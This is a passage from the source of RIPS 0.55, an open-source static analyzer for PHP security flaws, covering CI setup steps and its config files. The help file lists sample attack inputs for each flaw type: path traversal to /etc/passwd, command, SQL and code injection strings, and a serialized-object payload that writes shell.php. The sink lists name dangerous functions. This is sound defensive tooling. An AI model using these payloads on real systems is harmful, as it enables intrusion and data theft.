"[**] running scan ... $PATH_TARGET" echo "=========================================================" php $PATH_RIPS/index.php ignore_warning=1 loc=$PATH_TARGET subdirs=$RIPS_RECURSE_SUBDIR vector=$RIPS_VECTOR verbosity=$RIPS_VERBOSITY treestyle=1 stylesheet=ayti > $PATH_REPORT/$FILE_REPORT echo "=========================================================" echo "[**] scan done ... check out $PATH_REPORT/$FILE_REPORT" echo "=========================================================" ``` 4. add build step: execute python ```python import os, sys import rips_stats as rips if __name__=="__main__": report = os.path.join(os.environ.get("PATH_REPORT","report"),os.environ.get("FILE_REPORT","report.html")) sys.exit(rips.main([report])) ``` 5. add post-build step: publish html, select folder 'report' name 'vulnerability-report'. A new clickable action icon 'vulnerability-report' will appear that points at the archived scan result. ## Development The `community` branch of RIPS is forked from version 0.55 and is not officially supported by RIPS Technologies. A completely rebuilt solution is available from RIPS Technologies that overcomes fundamental limitations in the open source version and performs state-of-the-art security analysis. | Compared Feature | RIPS 0.5 | Next Generation | | --- | --- | --- | | Supported PHP Language | PHP 3-4, no OOP | all, PHP 3-7 | | Static Code Analysis | Only Token-based | Full | | Analysis Precision | Low | Very High | | PHP Version Specific Analysis | No | Yes | | Scales to Large Codesizes | No | Yes | | API / CLI Support | No | Yes | | Continuous Integration | No | Yes | | Compliance / Standards | No | Yes | | Store Analysis Results | No | Yes | | Export Analysis Results | No | Yes | | Issue Review System | No | Yes | | Realtime Results | No | Yes | | Vulnerability Trends | No | Yes | | Detects Latest Risks | No | Yes | | Detects Complex Vulnerabilities | Limited | Yes | | Supported Issue Types | 15 | >140 | | Speed | Fast | Fast | Learn more about the next generation of RIPS at https://www.ripstech.com/product/datasheets/. ================================================ FILE: config/general.php ================================================ . **/ if (php_sapi_name() === 'cli') define("MODE_CLI",1); #error_reporting(E_ALL); error_reporting(E_ERROR | E_PARSE); // various settings making flush() work correctly if(function_exists('apache_setenv')) apache_setenv('no-gzip', 1); if (!defined("MODE_CLI")) ini_set('zlib.output_compression', 0); ini_set('zlib.output_compression', 0); ini_set('implicit_flush', 0); ini_set('output_buffering', 0); ini_set('short_open_tag', 1); // who knows if I use them ;) ini_set('auto_detect_line_endings', 1); // detect newlines in MAC files ini_set("memory_limit","1000M"); // set memory size to 1G set_time_limit(0); // 5 minutes if (extension_loaded('tokenizer') === false) { echo 'Please enable the PHP tokenizer extension to run RIPS.'; exit; } define('VERSION', '0.55'); // RIPS version to be displayed define('MAXTRACE', 30); // maximum of parameter traces per sensitive sink if (!defined("MODE_CLI")) define('WARNFILES', 50); // warn user if amount of files to scan is higher than this value, also limits the graphs so they dont get too confusing and prevents browser hanging else define('WARNFILES', 500000); // only warn if more than 500k files define('BASEDIR', ''); // default directory shown define('PHPDOC', 'http://php.net/'); // PHP documentation link define('MAX_ARRAY_ELEMENTS', 50); // maximum array(1,2,3,4,...) elements to be indexed define('MAX_ARRAY_KEYS', 10); // maximum array key $array[1][2][3][4].. define('PRELOAD_SHOW_LINE', 500); // every X line a preloader information is added define('SCAN_REGISTER_GLOBALS', false); // EXPERIMENTAL: scan as if register_globals=on $FILETYPES = array( // filetypes to scan '.php', '.inc', '.phps', '.php4', '.php5', //'.html', //'.htm', //'.txt', '.phtml', '.tpl', '.cgi', '.test', '.module', '.plugin' ); // available stylesheets (filename without .css ending) // more colors at http://wiki.macromates.com/Themes/UserSubmittedThemes $stylesheets = array( 'print', 'phps', 'code-dark', 'twilight', 'espresso', 'term', 'barf', 'notepad++', 'ayti' ); // track chosen stylesheet permanently if(isset($_POST['stylesheet']) && $_POST['stylesheet'] !== $_COOKIE['stylesheet']) $_COOKIE['stylesheet'] = $_POST['stylesheet']; $default_stylesheet = isset($_COOKIE['stylesheet']) ? $_COOKIE['stylesheet'] : 'ayti'; setcookie("stylesheet", $default_stylesheet); $default_vector = 'all'; ================================================ FILE: config/help.php ================================================ . **/ $HELP_XSS = array( 'description' => 'An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.', 'link' => 'https://www.owasp.org/index.php/XSS', 'code' => '', 'poc' => '/index.php?name=', 'patchtext' => 'Encode all user tainted data with PHP buildin functions before embedding the data into the output. Make sure to set the parameter ENT_QUOTES to avoid an eventhandler injections to existing HTML attributes and specify the correct charset.', 'patch' => '' ); $HELP_HTTP_HEADER = array( 'description' => 'An attacker can inject arbitrary headers to the HTTP response header. This can be abused for a redirect when injecting a "Location:" header or help within a session fixation attack when the "Set-Cookie:" header is added. Additionally, the HTTP response can be overwritten and JavaScript can be injected leading to Cross-Site Scripting attacks. In PHP version below 4.4.2 or 5.1.2 the characters \n\r (LF CR) can be used for header line termination (cross-browser). In PHP below 5.4 the character \r (CR) can still be used for header line termination (Chrome, IE).', 'link' => 'https://www.owasp.org/index.php/HTTP_Response_Splitting', 'code' => '', 'poc' => '/index.php?url=a%0a%0dContent-Type:%20text/html%0a%0d%0a%0d', 'patchtext' => 'Update PHP to prevent header injection or implement a whitelist.', 'patch' => '' ); $HELP_SESSION_FIXATION = array( 'description' => 'An attacker can force a user to use a specific session id. Once the user logs in, the attacker can use the previously fixated session id to access the account.', 'link' => 'https://www.owasp.org/index.php/Session_fixation', 'code' => '', 'poc' => '/index.php?sessid=1f3870be274f6c49b3e31a0c6728957f', 'patchtext' => 'Do not use a session token supplied by the user.', 'patch' => 'No code.' ); $HELP_CODE = array( 'description' => 'An attacker might execute arbitrary PHP code with this vulnerability. User tainted data is embedded into a function that compiles PHP code on the run and executes it thus allowing an attacker to inject own PHP code that will be executed. This vulnerability can lead to full server compromise.', 'link' => 'https://www.owasp.org/index.php/Code_Injection', 'code' => '', 'poc' => '/index.php?color=\';phpinfo();//', 'patchtext' => 'Build a whitelist for positive code with regular expressions (e.g. alphanumeric only) or arrays. Do not try to blacklist for evil PHP code.', 'patch' => '' ); $HELP_REFLECTION = array( 'description' => 'An attacker might execute arbitrary functions with this vulnerability. User tainted data is used as a function name. This can lead to unexpected behaviour of the application.', 'link' => 'https://www.owasp.org/index.php/Reflection_injection', 'code' => '', 'poc' => '/index.php?func=phpinfo', 'patchtext' => 'Build a whitelist for allowed functions.', 'patch' => '' ); $HELP_FILE_INCLUDE = array( 'description' => 'An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.', 'link' => 'http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/', 'code' => '', 'poc' => '/index.php?file=../../../../../../../etc/passwd', 'patchtext' => 'Build a whitelist for positive file names. Do not only limit the file name to specific paths or extensions.', 'patch' => '' ); $HELP_FILE_READ = array( 'description' => 'An attacker might read local files with this vulnerability. User tainted data is used when creating the file name that will be opened and read, thus allowing an attacker to read source code and other arbitrary files on the webserver that might lead to new attack vectors. In example the attacker can detect new vulnerabilities in source code files or read user credentials.', 'link' => '', 'code' => '', 'poc' => '/index.php?file=../../../../../../../etc/passwd', 'patchtext' => 'Build a whitelist for positive file names. Do not only limit the file name to specific paths or extensions.', 'patch' => '' ); $HELP_FILE_AFFECT = array( 'description' => 'An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.', 'link' => '', 'code' => '', 'poc' => '/index.php?file=shell.php&data=', 'patchtext' => 'Build a whitelist for positive file names. Do not only limit the file name to specific paths or extensions. If you write into PHP files make sure an attacker can not write own PHP code. Use a whitelist with arrays or regular expressions (e.g. alphanumeric only).', 'patch' => '' ); $HELP_EXEC = array( 'description' => 'An attacker might execute arbitrary system commands with this vulnerability. User tainted data is used when creating the command that will be executed on the underlying operating system. This vulnerability can lead to full server compromise.', 'link' => '', 'code' => '', 'poc' => '/index.php?mode=1;sleep 10;', 'patchtext' => 'Limit the code to a very strict character subset or build a whitelist of allowed commands. Do not try to filter for evil commands. Try to avoid the usage of system command executing functions if possible.', 'patch' => '' ); $HELP_DATABASE = array( 'description' => 'An attacker might execute arbitrary SQL commands on the database server with this vulnerability. User tainted data is used when creating the database query that will be executed on the database management system (DBMS). An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system depending on the query, DBMS and configuration.', 'link' => 'https://www.owasp.org/index.php/SQL_Injection', 'code' => '', 'poc' => '/index.php?id=1 OR 1=1-- -', 'patchtext' => 'Always embed expected strings into quotes and escape the string with a PHP buildin function before embedding it to the query. Always embed expected integers without quotes and typecast the data to integer before embedding it to the query. Escaping data but embedding it without quotes is not safe.', 'patch' => '' ); $HELP_XPATH = array( 'description' => 'An attacker might execute arbitrary XPath expressions with this vulnerability. User tainted data is used when creating the XPath expression that will be executed on a XML resource. An attacker can inject own XPath syntax to read arbitrary XML entries.', 'link' => 'http://packetstormsecurity.org/files/view/33380/Blind_XPath_Injection_20040518.pdf', 'code' => 'xpath_eval("//user[name/text()=\'" . $_GET["name"] . "\']/account/text()"); ?>', 'poc' => '/index.php?name=\' or \'\'=\'', 'patchtext' => 'Always embed expected strings into quotes and escape the string with a PHP buildin function before embedding it to the expression. Always embed expected integers without quotes and typecast the data to integer before embedding it to the expression. Escaping data but embedding it without quotes is not safe.', 'patch' => 'xpath_eval("//user[name/text()=\'" . addslashes($_GET["name"]) . "\']/account/text()"); ?>' ); $HELP_LDAP = array( 'description' => 'An attacker might execute arbitrary LDAP expressions with this vulnerability. User tainted data is used when creating a LDAP filter that will be executed on a LDAP server. An attacker can inject own LDAP syntax to read arbitrary LDAP entries.', 'link' => 'http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf', 'code' => '', 'poc' => '/index.php?person=*', 'patchtext' => 'Expected strings are not embedded into quotes in LDAP. Limit the input character set to alphanumeric (if possible) to prevent an injection of filter syntax.', 'patch' => '' ); $HELP_CONNECT = array( 'description' => 'An attacker might change connection handling parameters or data that is being transfered with this vulnerability. User tainted data is used when selecting parameters or creating data that will be transfered thus allowing an attacker to change them. Depending on the type of connection this might lead to further attacks.', 'link' => '', 'code' => 'Can not be generalized.', 'poc' => 'Can not be generalized.', 'patchtext' => 'Can not be generalized.', 'patch' => 'Can not be generalized.' ); $HELP_POP = array( 'description' => 'When userinput is parsed by the unserialize() function an attacker may abuse this by supplying serialized objects that will be used in the current application scope. These objects can only be instances of classes of this application. Several gadgets such as __wakeup() or __destruct() functions of those classes will be automatically called when the object is resurrected during the unserialization and object variables specified by the attacker may lead to vulnerabilities in those gadgets.', 'link' => 'https://media.blackhat.com/bh-us-10/presentations/Esser/BlackHat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf', 'code' => 'file, $this->data); } } $a = unserialize($_GET["s"]); ?>', 'poc' => '/index.php?s=O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:29:"";}', 'patchtext' => 'Prevent using unserialize because it contains much more flaws.', 'patch' => 'No code.' ); ================================================ FILE: config/info.php ================================================ . **/ final class Info { // interesting functions, output and comment them if seen public static $F_INTEREST = array( 'phpinfo' => 'phpinfo() detected', 'registerPHPFunctions' => 'registerPHPFunctions() allows code exec in XML', 'session_start' => 'uses sessions', #'session_destroy' => 'session_destroy(), delete arbitrary file in PHP 5.1.2', 'dbase_open' => 'using DBMS dBase', 'dbplus_open' => 'using DBMS DB++', 'dbplus_ropen' => 'using DBMS DB++', 'fbsql_connect' => 'using DBMS FrontBase' , 'ifx_connect' => 'using DBMS Informix', 'db2_connect' => 'using DBMS IBM DB2', 'db2_pconnect' => 'using DBMS IBM DB2', 'ftp_connect' => 'using FTP server', 'ftp_ssl_connect' => 'using FTP server', 'ingres_connect' => 'using DBMS Ingres', 'ingres_pconnect' => 'using DBMS Ingres', 'ldap_connect' => 'using LDAP server', 'msession_connect' => 'using msession server', 'msql_connect' => 'using DBMS mSQL', 'msql_pconnect' => 'using DBMS mSQL', 'mssql_connect' => 'using DBMS MS SQL', 'mssql_pconnect' => 'using DBMS MS SQL', 'mysql_connect' => 'using DBMS MySQL', #'mysql_escape_string' => 'insecure mysql_escape_string', 'mysql_pconnect' => 'using DBMS MySQL', 'mysqli' => 'using DBMS MySQL, MySQLi Extension', 'mysqli_connect' => 'using DBMS MySQL, MySQLi Extension', 'mysqli_real_connect' => 'using DBMS MySQL, MySQLi Extension', 'oci_connect' => 'using DBMS Oracle OCI8', 'oci_new_connect' => 'using DBMS Oracle OCI8', 'oci_pconnect' => 'using DBMS Oracle OCI8', 'ocilogon' => 'using DBMS Oracle OCI8', 'ocinlogon' => 'using DBMS Oracle OCI8', 'ociplogon' => 'using DBMS Oracle OCI8', 'ora_connect' => 'using DBMS Oracle', 'ora_pconnect' => 'using DBMS Oracle', 'ovrimos_connect' => 'using DBMS Ovrimos SQL', 'pg_connect' => 'using DBMS PostgreSQL', 'pg_pconnect' => 'using DBMS PostgreSQL', 'sqlite_open' => 'using DBMS SQLite', 'sqlite_popen' => 'using DBMS SQLite', 'SQLite3' => 'using DBMS SQLite3', 'sybase_connect' => 'using DBMS Sybase', 'sybase_pconnect' => 'using DBMS Sybase', 'TokyoTyrant' => 'using DBMS TokyoTyrant', 'xptr_new_context' => 'using XML document', 'xpath_new_context' => 'using XML document' ); // interesting functions for POP/Unserialze public static $F_INTEREST_POP = array( '__autoload' => 'function __autoload', '__destruct' => 'POP gagdet __destruct', '__wakeup' => 'POP gagdet __wakeup', '__toString' => 'POP gagdet __toString', '__call' => 'POP gagdet __call', '__callStatic' => 'POP gagdet __callStatic', '__get' => 'POP gagdet __get', '__set' => 'POP gagdet __set', '__isset' => 'POP gagdet __isset', '__unset' => 'POP gagdet __unset' ); } ================================================ FILE: config/securing.php ================================================ . **/ // securing functions in if-clause // list not used, all if clause dependencies detected anyway $F_SECURING_BOOL = array( 'is_bool', 'is_double', 'is_float', 'is_real', 'is_long', 'is_int', 'is_integer', 'is_null', 'is_numeric', 'is_finite', 'is_infinite', 'ctype_alnum', 'ctype_alpha', 'ctype_cntrl', 'ctype_digit', 'ctype_xdigit', 'ctype_upper', 'ctype_lower', 'ctype_space', 'in_array', 'preg_match', 'preg_match_all', 'fnmatch', 'ereg', 'eregi' ); // securing functions for every vulnerability $F_SECURING_STRING = array( 'intval', 'floatval', 'doubleval', 'filter_input', 'urlencode', 'rawurlencode', 'round', 'floor', 'strlen', 'strrpos', 'strpos', 'strftime', 'strtotime', 'md5', 'md5_file', 'sha1', 'sha1_file', 'crypt', 'crc32', 'hash', 'mhash', 'hash_hmac', 'password_hash', 'mcrypt_encrypt', 'mcrypt_generic', 'base64_encode', 'ord', 'sizeof', 'count', 'bin2hex', 'levenshtein', 'abs', 'bindec', 'decbin', 'dechex', 'decoct', 'hexdec', 'rand', 'max', 'min', 'metaphone', 'tempnam', 'soundex', 'money_format', 'number_format', 'date_format', 'filetype', 'nl_langinfo', 'bzcompress', 'convert_uuencode', 'gzdeflate', 'gzencode', 'gzcompress', 'http_build_query', 'lzf_compress', 'zlib_encode', 'imap_binary', 'iconv_mime_encode', 'bson_encode', 'sqlite_udf_encode_binary', 'session_name', 'readlink', 'getservbyport', 'getprotobynumber', 'gethostname', 'gethostbynamel', 'gethostbyname', ); // functions that insecures the string again $F_INSECURING_STRING = array( 'base64_decode', 'htmlspecialchars_decode', 'html_entity_decode', 'bzdecompress', 'chr', 'convert_uudecode', 'gzdecode', 'gzinflate', 'gzuncompress', 'lzf_decompress', 'rawurldecode', 'urldecode', 'zlib_decode', 'imap_base64', 'imap_utf7_decode', 'imap_mime_header_decode', 'iconv_mime_decode', 'iconv_mime_decode_headers', 'hex2bin', 'quoted_printable_decode', 'imap_qprint', 'mb_decode_mimeheader', 'bson_decode', 'sqlite_udf_decode_binary', 'utf8_decode', 'recode_string', 'recode' ); // securing functions for XSS $F_SECURING_XSS = array( 'htmlentities', 'htmlspecialchars', 'highlight_string', ); // securing functions for SQLi $F_SECURING_SQL = array( 'addslashes', 'dbx_escape_string', 'db2_escape_string', 'ingres_escape_string', 'maxdb_escape_string', 'maxdb_real_escape_string', 'mysql_escape_string', 'mysql_real_escape_string', 'mysqli_escape_string', 'mysqli_real_escape_string', 'pg_escape_string', 'pg_escape_bytea', 'sqlite_escape_string', 'sqlite_udf_encode_binary', 'cubrid_real_escape_string', ); // securing functions for RCE with e-modifier in preg_** $F_SECURING_PREG = array( 'preg_quote' ); // securing functions for file handling $F_SECURING_FILE = array( 'basename', 'dirname', 'pathinfo' ); // securing functions for OS command execution $F_SECURING_SYSTEM = array( 'escapeshellarg', 'escapeshellcmd' ); // securing XPath injection $F_SECURING_XPATH = array( 'addslashes' ); // securing LDAP injection $F_SECURING_LDAP = array( ); // all specific securings $F_SECURES_ALL = array_merge( $F_SECURING_XSS, $F_SECURING_SQL, $F_SECURING_PREG, $F_SECURING_FILE, $F_SECURING_SYSTEM, $F_SECURING_XPATH ); // securing functions that work only when embedded in quotes $F_QUOTE_ANALYSIS = $F_SECURING_SQL; ================================================ FILE: config/sinks.php ================================================ . **/ // cross-site scripting affected functions // parameter = 0 means, all parameters will be traced $NAME_XSS = 'Cross-Site Scripting'; $F_XSS = array( 'echo' => array(array(0), $F_SECURING_XSS), 'print' => array(array(1), $F_SECURING_XSS), 'print_r' => array(array(1), $F_SECURING_XSS), 'exit' => array(array(1), $F_SECURING_XSS), 'die' => array(array(1), $F_SECURING_XSS), 'printf' => array(array(0), $F_SECURING_XSS), 'vprintf' => array(array(0), $F_SECURING_XSS), 'trigger_error' => array(array(1), $F_SECURING_XSS), 'user_error' => array(array(1), $F_SECURING_XSS), 'odbc_result_all' => array(array(2), $F_SECURING_XSS), 'ovrimos_result_all' => array(array(2), $F_SECURING_XSS), 'ifx_htmltbl_result' => array(array(2), $F_SECURING_XSS) ); // HTTP header injections $NAME_HTTP_HEADER = 'HTTP Response Splitting'; $F_HTTP_HEADER = array( 'header' => array(array(1), array()) ); // session fixation $NAME_SESSION_FIXATION = 'Session Fixation'; $F_SESSION_FIXATION = array( 'setcookie' => array(array(2), array()), 'setrawcookie' => array(array(2), array()), 'session_id' => array(array(1), array()) ); // code evaluating functions => (parameters to scan, securing functions) // example parameter array(1,3) will trace only first and third parameter $NAME_CODE = 'Code Execution'; $F_CODE = array( 'assert' => array(array(1), array()), 'create_function' => array(array(1,2), array()), 'eval' => array(array(1), array()), 'mb_ereg_replace' => array(array(1,2), $F_SECURING_PREG), 'mb_eregi_replace' => array(array(1,2), $F_SECURING_PREG), 'preg_filter' => array(array(1,2), $F_SECURING_PREG), 'preg_replace' => array(array(1,2), $F_SECURING_PREG), 'preg_replace_callback' => array(array(1), $F_SECURING_PREG), ); // reflection injection $NAME_REFLECTION = 'Reflection Injection'; $F_REFLECTION = array( 'event_buffer_new' => array(array(2,3,4), array()), 'event_set' => array(array(4), array()), 'iterator_apply' => array(array(2), array()), 'forward_static_call' => array(array(1), array()), 'forward_static_call_array' => array(array(1), array()), 'call_user_func' => array(array(1), array()), 'call_user_func_array' => array(array(1), array()), 'array_diff_uassoc' => array(array(3), array()), 'array_diff_ukey' => array(array(3), array()), 'array_filter' => array(array(2), array()), 'array_intersect_uassoc' => array(array(3), array()), 'array_intersect_ukey' => array(array(3), array()), 'array_map' => array(array(1), array()), 'array_reduce' => array(array(2), array()), 'array_udiff' => array(array(3), array()), 'array_udiff_assoc' => array(array(3), array()), 'array_udiff_uassoc' => array(array(3,4), array()), 'array_uintersect' => array(array(3), array()), 'array_uintersect_assoc' => array(array(3), array()), 'array_uintersect_uassoc' => array(array(3,4), array()), 'array_walk' => array(array(2), array()), 'array_walk_recursive' => array(array(2), array()), 'assert_options' => array(array(2), array()), 'ob_start' => array(array(1), array()), 'register_shutdown_function' => array(array(1), array()), 'register_tick_function' => array(array(1), array()), 'runkit_method_add' => array(array(1,2,3,4), array()), 'runkit_method_copy' => array(array(1,2,3), array()), 'runkit_method_redefine' => array(array(1,2,3,4), array()), 'runkit_method_rename' => array(array(1,2,3), array()), 'runkit_function_add' => array(array(1,2,3), array()), 'runkit_function_copy' => array(array(1,2), array()), 'runkit_function_redefine' => array(array(1,2,3), array()), 'runkit_function_rename' => array(array(1,2), array()), 'session_set_save_handler' => array(array(1,2,3,4,5), array()), 'set_error_handler' => array(array(1), array()), 'set_exception_handler' => array(array(1), array()), 'spl_autoload' => array(array(1), array()), 'spl_autoload_register' => array(array(1), array()), 'sqlite_create_aggregate' => array(array(2,3,4), array()), 'sqlite_create_function' => array(array(2,3), array()), 'stream_wrapper_register' => array(array(2), array()), 'uasort' => array(array(2), array()), 'uksort' => array(array(2), array()), 'usort' => array(array(2), array()), 'yaml_parse' => array(array(4), array()), 'yaml_parse_file' => array(array(4), array()), 'yaml_parse_url' => array(array(4), array()), 'eio_busy' => array(array(3), array()), 'eio_chmod' => array(array(4), array()), 'eio_chown' => array(array(5), array()), 'eio_close' => array(array(3), array()), 'eio_custom' => array(array(1,2), array()), 'eio_dup2' => array(array(4), array()), 'eio_fallocate' => array(array(6), array()), 'eio_fchmod' => array(array(4), array()), 'eio_fchown' => array(array(5), array()), 'eio_fdatasync' => array(array(3), array()), 'eio_fstat' => array(array(3), array()), 'eio_fstatvfs' => array(array(3), array()), 'preg_replace_callback' => array(array(2), array()), 'dotnet_load' => array(array(1), array()), ); // file inclusion functions => (parameters to scan, securing functions) $NAME_FILE_INCLUDE = 'File Inclusion'; $F_FILE_INCLUDE = array( 'include' => array(array(1), $F_SECURING_FILE), 'include_once' => array(array(1), $F_SECURING_FILE), 'parsekit_compile_file' => array(array(1), $F_SECURING_FILE), 'php_check_syntax' => array(array(1), $F_SECURING_FILE), 'require' => array(array(1), $F_SECURING_FILE), 'require_once' => array(array(1), $F_SECURING_FILE), 'runkit_import' => array(array(1), $F_SECURING_FILE), 'set_include_path' => array(array(1), $F_SECURING_FILE), 'virtual' => array(array(1), $F_SECURING_FILE) ); // file affecting functions => (parameters to scan, securing functions) // file handler functions like fopen() are added as parameter // for functions that use them like fread() and fwrite() $NAME_FILE_READ = 'File Disclosure'; $F_FILE_READ = array( 'bzread' => array(array(1), $F_SECURING_FILE), 'bzflush' => array(array(1), $F_SECURING_FILE), 'dio_read' => array(array(1), $F_SECURING_FILE), 'eio_readdir' => array(array(1), $F_SECURING_FILE), 'fdf_open' => array(array(1), $F_SECURING_FILE), 'file' => array(array(1), $F_SECURING_FILE), 'file_get_contents' => array(array(1), $F_SECURING_FILE), 'finfo_file' => array(array(1,2), array()), 'fflush' => array(array(1), $F_SECURING_FILE), 'fgetc' => array(array(1), $F_SECURING_FILE), 'fgetcsv' => array(array(1), $F_SECURING_FILE), 'fgets' => array(array(1), $F_SECURING_FILE), 'fgetss' => array(array(1), $F_SECURING_FILE), 'fread' => array(array(1), $F_SECURING_FILE), 'fpassthru' => array(array(1,2), array()), 'fscanf' => array(array(1), $F_SECURING_FILE), 'ftok' => array(array(1), $F_SECURING_FILE), 'get_meta_tags' => array(array(1), $F_SECURING_FILE), 'glob' => array(array(1), array()), 'gzfile' => array(array(1), $F_SECURING_FILE), 'gzgetc' => array(array(1), $F_SECURING_FILE), 'gzgets' => array(array(1), $F_SECURING_FILE), 'gzgetss' => array(array(1), $F_SECURING_FILE), 'gzread' => array(array(1), $F_SECURING_FILE), 'gzpassthru' => array(array(1), $F_SECURING_FILE), 'highlight_file' => array(array(1), $F_SECURING_FILE), 'imagecreatefrompng' => array(array(1), $F_SECURING_FILE), 'imagecreatefromjpg' => array(array(1), $F_SECURING_FILE), 'imagecreatefromgif' => array(array(1), $F_SECURING_FILE), 'imagecreatefromgd2' => array(array(1), $F_SECURING_FILE), 'imagecreatefromgd2part' => array(array(1), $F_SECURING_FILE), 'imagecreatefromgd' => array(array(1), $F_SECURING_FILE), 'opendir' => array(array(1), $F_SECURING_FILE), 'parse_ini_file' => array(array(1), $F_SECURING_FILE), 'php_strip_whitespace' => array(array(1), $F_SECURING_FILE), 'readfile' => array(array(1), $F_SECURING_FILE), 'readgzfile' => array(array(1), $F_SECURING_FILE), 'readlink' => array(array(1), $F_SECURING_FILE), //'stat' => array(array(1), array()), 'scandir' => array(array(1), $F_SECURING_FILE), 'show_source' => array(array(1), $F_SECURING_FILE), 'simplexml_load_file' => array(array(1), $F_SECURING_FILE), 'stream_get_contents' => array(array(1), $F_SECURING_FILE), 'stream_get_line' => array(array(1), $F_SECURING_FILE), 'xdiff_file_bdiff' => array(array(1,2), $F_SECURING_FILE), 'xdiff_file_bpatch' => array(array(1,2), $F_SECURING_FILE), 'xdiff_file_diff_binary' => array(array(1,2), $F_SECURING_FILE), 'xdiff_file_diff' => array(array(1,2), $F_SECURING_FILE), 'xdiff_file_merge3' => array(array(1,2,3), $F_SECURING_FILE), 'xdiff_file_patch_binary' => array(array(1,2), $F_SECURING_FILE), 'xdiff_file_patch' => array(array(1,2), $F_SECURING_FILE), 'xdiff_file_rabdiff' => array(array(1,2), $F_SECURING_FILE), 'yaml_parse_file' => array(array(1), $F_SECURING_FILE), 'zip_open' => array(array(1), $F_SECURING_FILE) ); // file or file system affecting functions $NAME_FILE_AFFECT = 'File Manipulation'; $F_FILE_AFFECT = array( 'bzwrite' => array(array(2), array()), 'chmod' => array(array(1), $F_SECURING_FILE), 'chgrp' => array(array(1), $F_SECURING_FILE), 'chown' => array(array(1), $F_SECURING_FILE), 'copy' => array(array(1), array()), 'dio_write' => array(array(1,2), array()), 'eio_chmod' => array(array(1), $F_SECURING_FILE), 'eio_chown' => array(array(1), $F_SECURING_FILE), 'eio_mkdir' => array(array(1), $F_SECURING_FILE), 'eio_mknod' => array(array(1), $F_SECURING_FILE), 'eio_rmdir' => array(array(1), $F_SECURING_FILE), 'eio_write' => array(array(1,2), array()), 'eio_unlink' => array(array(1), $F_SECURING_FILE), 'error_log' => array(array(3), $F_SECURING_FILE), 'event_buffer_write' => array(array(2), array()), 'file_put_contents' => array(array(1,2), $F_SECURING_FILE), 'fputcsv' => array(array(1,2), $F_SECURING_FILE), 'fputs' => array(array(1,2), $F_SECURING_FILE), 'fprintf' => array(array(0), array()), 'ftruncate' => array(array(1), $F_SECURING_FILE), 'fwrite' => array(array(1,2), $F_SECURING_FILE), 'gzwrite' => array(array(1,2), array()), 'gzputs' => array(array(1,2), array()), 'loadXML' => array(array(1), array()), 'mkdir' => array(array(1), array()), 'move_uploaded_file' => array(array(1,2), $F_SECURING_FILE), 'posix_mknod' => array(array(1), $F_SECURING_FILE), 'recode_file' => array(array(2,3), $F_SECURING_FILE), 'rename' => array(array(1,2), $F_SECURING_FILE), 'rmdir' => array(array(1), $F_SECURING_FILE), 'shmop_write' => array(array(2), array()), 'touch' => array(array(1), $F_SECURING_FILE), 'unlink' => array(array(1), $F_SECURING_FILE), 'vfprintf' => array(array(0), array()), 'xdiff_file_bdiff' => array(array(3), $F_SECURING_FILE), 'xdiff_file_bpatch' => array(array(3), $F_SECURING_FILE), 'xdiff_file_diff_binary' => array(array(3), $F_SECURING_FILE), 'xdiff_file_diff' => array(array(3), $F_SECURING_FILE), 'xdiff_file_merge3' => array(array(4), $F_SECURING_FILE), 'xdiff_file_patch_binary' => array(array(3), $F_SECURING_FILE), 'xdiff_file_patch' => array(array(3), $F_SECURING_FILE), 'xdiff_file_rabdiff' => array(array(3), $F_SECURING_FILE), 'yaml_emit_file' => array(array(1,2), $F_SECURING_FILE), ); // OS Command executing functions => (parameters to scan, securing functions) $NAME_EXEC = 'Command Execution'; $F_EXEC = array( 'backticks' => array(array(1), $F_SECURING_SYSTEM), # transformed during parsing 'exec' => array(array(1), $F_SECURING_SYSTEM), 'expect_popen' => array(array(1), $F_SECURING_SYSTEM), 'passthru' => array(array(1), $F_SECURING_SYSTEM), 'pcntl_exec' => array(array(1), $F_SECURING_SYSTEM), 'popen' => array(array(1), $F_SECURING_SYSTEM), 'proc_open' => array(array(1), $F_SECURING_SYSTEM), 'shell_exec' => array(array(1), $F_SECURING_SYSTEM), 'system' => array(array(1), $F_SECURING_SYSTEM), 'mail' => array(array(5), array()), // http://esec-pentest.sogeti.com/web/using-mail-remote-code-execution 'mb_send_mail' => array(array(5), array()), 'w32api_invoke_function' => array(array(1), array()), 'w32api_register_function' => array(array(2), array()), ); // SQL executing functions => (parameters to scan, securing functions) $NAME_DATABASE = 'SQL Injection'; $F_DATABASE = array( // Abstraction Layers 'dba_open' => array(array(1), array()), 'dba_popen' => array(array(1), array()), 'dba_insert' => array(array(1,2), array()), 'dba_fetch' => array(array(1), array()), 'dba_delete' => array(array(1), array()), 'dbx_query' => array(array(2), $F_SECURING_SQL), 'odbc_do' => array(array(2), $F_SECURING_SQL), 'odbc_exec' => array(array(2), $F_SECURING_SQL), 'odbc_execute' => array(array(2), $F_SECURING_SQL), // Vendor Specific 'db2_exec' => array(array(2), $F_SECURING_SQL), 'db2_execute' => array(array(2), $F_SECURING_SQL), 'fbsql_db_query' => array(array(2), $F_SECURING_SQL), 'fbsql_query' => array(array(1), $F_SECURING_SQL), 'ibase_query' => array(array(2), $F_SECURING_SQL), 'ibase_execute' => array(array(1), $F_SECURING_SQL), 'ifx_query' => array(array(1), $F_SECURING_SQL), 'ifx_do' => array(array(1), $F_SECURING_SQL), 'ingres_query' => array(array(2), $F_SECURING_SQL), 'ingres_execute' => array(array(2), $F_SECURING_SQL), 'ingres_unbuffered_query' => array(array(2), $F_SECURING_SQL), 'msql_db_query' => array(array(2), $F_SECURING_SQL), 'msql_query' => array(array(1), $F_SECURING_SQL), 'msql' => array(array(2), 